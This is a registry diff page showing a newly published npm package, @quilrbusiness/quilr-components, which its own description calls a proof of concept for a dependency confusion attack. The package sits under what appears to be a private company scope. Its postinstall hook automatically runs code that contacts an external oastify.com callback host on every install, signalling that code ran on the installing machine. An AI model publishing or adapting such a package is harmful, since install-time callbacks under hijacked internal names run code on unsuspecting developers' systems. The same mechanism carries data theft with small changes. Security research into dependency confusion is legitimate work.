@quilrbusiness/quilr-components 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +7 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ const https = require("https");
2
+
3
+ https.get("https://edv3qyvnfa6ve5u89rngu54by24tslga.oastify.com/ping", (res) => {
4
+ console.log("Ping sent. Status code:", res.statusCode);
5
+ }).on("error", (e) => {
6
+ console.error("Error sending ping:", e);
7
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@quilrbusiness/quilr-components",
3
+ "version": "1.0.0",
4
+ "description": "PoC for dependency confusion vulnerability",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Your Name",
10
+ "license": "MIT"
11
+ }